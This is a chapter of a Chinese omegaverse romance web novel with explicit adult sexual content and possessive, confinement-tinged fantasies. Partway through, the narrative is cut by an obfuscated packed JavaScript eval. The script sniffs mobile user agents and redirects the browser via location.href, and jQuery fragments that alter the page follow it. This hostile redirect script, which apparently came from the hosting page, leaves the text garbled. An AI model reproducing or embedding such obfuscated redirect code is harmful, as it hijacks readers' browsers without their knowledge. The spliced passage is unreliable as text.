35.办法

作品:《被抢来的白月光他超乐意

    卫酬明抓住了江图的手。


    江图侧头去看了电影大屏幕一眼,上面已经播放到仿生人像人类一样说话和思考,穿上了人类的衣服。


    确实还挺有意思的。


    但是卫酬明真就那么喜欢这电影?信息素都放出来了,居然还可以收回去。甚至他刚刚就已经发现,卫酬明其实起反应了,就这么硬生生的收回去了。


    真有本事。


    可明明他就是很有感觉,信息素都比正常溢出的浓烈了些许,这可骗不了人。


    为什么不直接上呢。


    江图不明白,他反手握住了卫酬明的手,带着他十指相扣:“怎么忽然这么客气了,卫总?”


    卫酬明的手指被紧紧扣住,插进了江图的指缝中,和他指间一点距离都没有,完完全全的亲密接触,密不可分。


    不止是手,江图还靠了过来,他们的呼吸交缠在一处。


    玫瑰信息素馥郁芬芳,散发着致命的吸引力,引诱着他的alpha将他攀折。


    卫酬明紧紧盯着他。


    这是江图,是曾经将他带回家,手把手教他怎么照料自己生活的江图,是在他没有学会生活之前会亲手帮他打理一切的江图。


    所有人都抛弃了他,但是江图把他捡回了家。


    等他回了卫家,累得撑不下去的时候,也会想起江图,最开始只是想要权利,不想被江图觉得弱小,不能让江图瞧不起。


    很长一段时间,可以说江图就是他的精神支柱。


    到后来,每次想起江图,他还会从心底升出一种浓烈的不甘心。他想要更多的权利,他想要把江图抢过来,关起来绑住,就像现在这样,只要自己想对他做什么,就可以做什么。


    他现在就很想释放信息素,把江图全身上下都染成自己的味道,让他每一寸肌肤都留下自己的痕迹。


    这样的念头驱使他现在就干,去标记,去占有。


    可他知道这是自己的alpha本能作祟。真正的爱应该是纯粹的,至少不能全是床上的事。


    江图把卫酬明拉着靠向自己,伸手顺着他的脸颊向下,从下颌线顺着落到肩颈线,落到锁骨,胸膛。


    正当他的手继续往下时,他再次被卫酬明抓住了。


    对方死死地抓住他,似乎不敢放开,眼神隐忍:“江图哥,别撩拨我,我忍不住。”


    江图的手指还继续在卫酬明的掌心中撩动,不解:“为什么要忍?”


    他的声音转低,引诱道:“我就在这里,你不需要忍。”


    卫酬明的脸一下子就红到了耳根。


    江图:“快点。”


    江图催促道:“这样举着,不难受?”


    他能感觉到卫酬明已经起反应了。


    他听见卫酬明轻声问:“那你呢?”


    江图一时没反应过来:“我?”


    卫酬明垂眼看了看:“你没感觉。你不想的。为什么还要继续?”


    江图的身体没有太多的反应。


    江图意外:“……?”


    他是没反应,但他是因为腺体信息素一直被压抑,无法活跃,所以不足以支撑他过早的起反应。他需要卫酬明的信息素。


    “我没不想,你放点信息素,我就有反应了。”


    要不是卫酬明收敛信息素收得太快,他们现在已经在床上了。怎么还会在这里说废话。


    “不是的。”卫酬明忽然抱住了江图,“如果你真的想,根本用不着信息素。”


    扯淡。


    江图为自己辩解:“这种事情光靠想是没用的,你没学过alpha生理学?标记活动和AO生活都需要靠分泌信息素。”


    卫酬明打断他:“有用的。”


    他的声音更低了,在江图的耳边响起:“三年前,我们还住在一起,有一天你开完庆功宴回家,喝多了。还记得吗?”


    “嗯?”


    江图有些疑惑,不知道为什么卫酬明会提起这个:“我喝醉了?难不成我骂你什么了?”忽然在这个时候提,是记仇吗。


    卫酬明:“我帮你脱了衣服擦洗。那个时候我还没有分化。根本没有信息素分泌。可是我还是硬了。”


    江图听到这里,倏然抬眼看向卫酬明:“你……?!”


    这句话的信息量有点大,难道卫酬明18岁就对他……不,不太可能。


    看到了江图眼里的诧异,卫酬明反倒笑了下:“很意外?”


    江图:“……”


    “你那个时候才18。”


    卫酬明:“嗯。”


    江图沉默了一下,找到了答案:“18岁的小伙子,是雄激素旺盛的时候。”


    想到这一点,江图心里轻松了些,卫酬明应该是纯粹的生理反应,那时候的卫酬单纯得很,不可能对他有什么想法。


    江图想到这里,自然而然地找证据补充:“我18岁也这样。”


    卫酬明的眼底幽深,他抬起江图的下巴,告诉他:“可是不止是18岁时候,我现在也是,你在我面前晃的时候,我就会忍不住想上你。”


    江图被卫酬明看得有些慌:“现在是因为信息素。”


    “不。”


    卫酬明想也没想就否认了。


    他的声音依旧很轻,就像在说一件无关紧要的事:“我想上你,就是因为我想上。和信息素无关。”


    江图:“……”


    他有些狼狈地偏开了视线:“你是S级alpha,受信息素的影响比寻常alpha都要深。”分不清,也很正常。


    “你不相信。”卫酬明看着他,慢慢从他身上离开,“没关系,你迟早会知道的。”


    卫酬明从沙发上站起来,转身离开。


    江图:“你去哪?”


    卫酬明转头看他一眼,眼神依旧隐忍克制,语气却不怎么好:“别明知故问。”


    卫酬明去了浴室,去解决他的问题了。


    江图一个人坐在影音室,独孤地看着大屏幕上播放的电影画面,不太明白卫酬明在做什么。明明都这样了,宁愿去浴室自己解决也不愿意和他一起。


    难道他没有和卫酬明一样起反应,对卫酬明来说这么扫兴?


    但是他长期服用禁药,身体反应本来就已经很迟钝,这个要求对他来说着实有些苛刻了。不知道庄医生有没有办法解决。


    江图拿出了手机,找到了庄医生。


    ·


    卫酬明进了浴室,开始解决一直举着的问题,但努力了一会儿依旧没有一点下去的趋势。他的身体已经记住了江图信息素的味道,没有得到,就迟迟不能满足。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399538|166722||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    他把花洒打开,凉水从他头顶冲下来。


    ……


    “开门,我帮你。”


    卫酬明进了浴室好一会儿,江图去卧室的浴室门口,只能听见花洒的哗哗声,里面的人还没有出来的意思,他敲了敲浴室门。


    “刚刚有人送来了玫瑰花,你定的,给我的?”


    里面卫酬明的动作顿了顿。


    是江图,他的声音穿过浴室门,夹杂着满室的水汽,传进了他的耳中。


    他没有回答,于是听到江图还提高了声音:“卫酬?你好了没有?”


    冷水从他的颈间滑落,他靠在墙边,闭上了眼睛,耳边的声音更清晰了,呼吸开始粗重。


    “卫酬?”


    “嗯。”卫酬明低沉地应了一声,诱哄江图继续说话,问道:“你说什么?”


    江图的声音有些无奈:“我说,你别在里面冲凉水澡了,现在都要入冬了,你受得了?”


    “你出来,我帮你。别犟了。”


    卫酬明重重地呼吸了一下,喉结滚动,声音发涩:“没听清。”


    听是听清了,但他没有去理解江图的话代表的意思,他只能满脑子都在处理这样的场面,他在浴室里用手,江图站在门外说着话,他说什么?要帮自己?


    卫酬明想象了一下那个场景,江图进来,亲手帮他。


    然后他听见江图的声音又传进来了,说了一段话,最后才问:“好了吗?”


    这样的话,前几天晚上在床上江图也问过。那时候他在兴致上,有些舍不得停,江图受不了,但又羞于承认自己受不住,只是强装作硬气地不断问:好了吗。好了吗。怎么还没好。


    敲门声再次响起:“怎么还没好?”


    ……


    场景重合,刺激的感觉冲上颅顶,就这么结束了。


    卫酬明:“……”


    他好了。


    ……


    ·


    江图从庄医生那里问到了一种药,可以帮他解决在卫酬明提出的问题。就算卫酬明没有放出信息素,吃了这个药,也可以一展雄风——一展雄风是庄医生的原话。


    这个药还算安全,在成人用品店就能买到。


    江图没有跟庄医生说是他自己的问题,只说了是他的一个朋友。


    毕竟庄医生都快成卫酬明的私人医生了,说是自己,肯定会被告密的。


    江图悄悄地在地图软件上搜索了附近的成人用品店位置,趁着某一天卫酬明加班,他自己先下班,就去买了一盒,他先回家,回去后就把标签撕了,把药盒子放进了床头柜抽屉里。


    等卫酬明回家,一起吃了饭,江图就先去浴室洗澡,他今天倒是要看看卫酬明还有什么借口磨磨蹭蹭的。


    世间的事都是这样的,办法总比困难多。


    在浴室中迅速洗了个澡出来,江图打开浴室门就看见卫酬明已经洗完澡穿好浴袍,坐在床边。


    “你动作挺快……”他正想调侃卫酬明两句,就看见他坐在床边,手上拿着一盒什么东西,定睛一看,是他之前放进床头柜的药。


    江图心里一咯噔,还是装作无事的样子:“该休息了?”


    卫酬明打开了药盒子,嗅了嗅:“这是什么?”


    江图:“……维生素。”